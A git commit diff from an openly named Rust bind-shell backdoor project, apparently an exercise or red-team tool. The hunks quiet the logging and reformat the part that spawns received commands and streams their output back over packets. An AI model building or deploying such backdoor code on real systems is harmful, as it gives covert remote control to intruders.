feat: added the ability to send commands

This commit is contained in:
Andrew Rioux
2023-09-05 19:05:26 -04:00
parent 47b2191335
commit 52538ac7d7
5 changed files with 188 additions and 23 deletions

View File

@@ -27,7 +27,7 @@ async fn main() -> anyhow::Result<()> {
async fn handled_main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new()
.with_level(log::LevelFilter::Off)
.with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Info)
.with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Error)
.init()?;
let pubkey =
@@ -214,7 +214,7 @@ async fn handle_command(
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped()))
.spawn() else {
.spawn() else {
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
@@ -243,7 +243,9 @@ async fn handle_command(
let (out_type, Ok(len)) = tokio::select! {
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
} else { continue; };
} else {
continue;
};
if len == 0 {
break;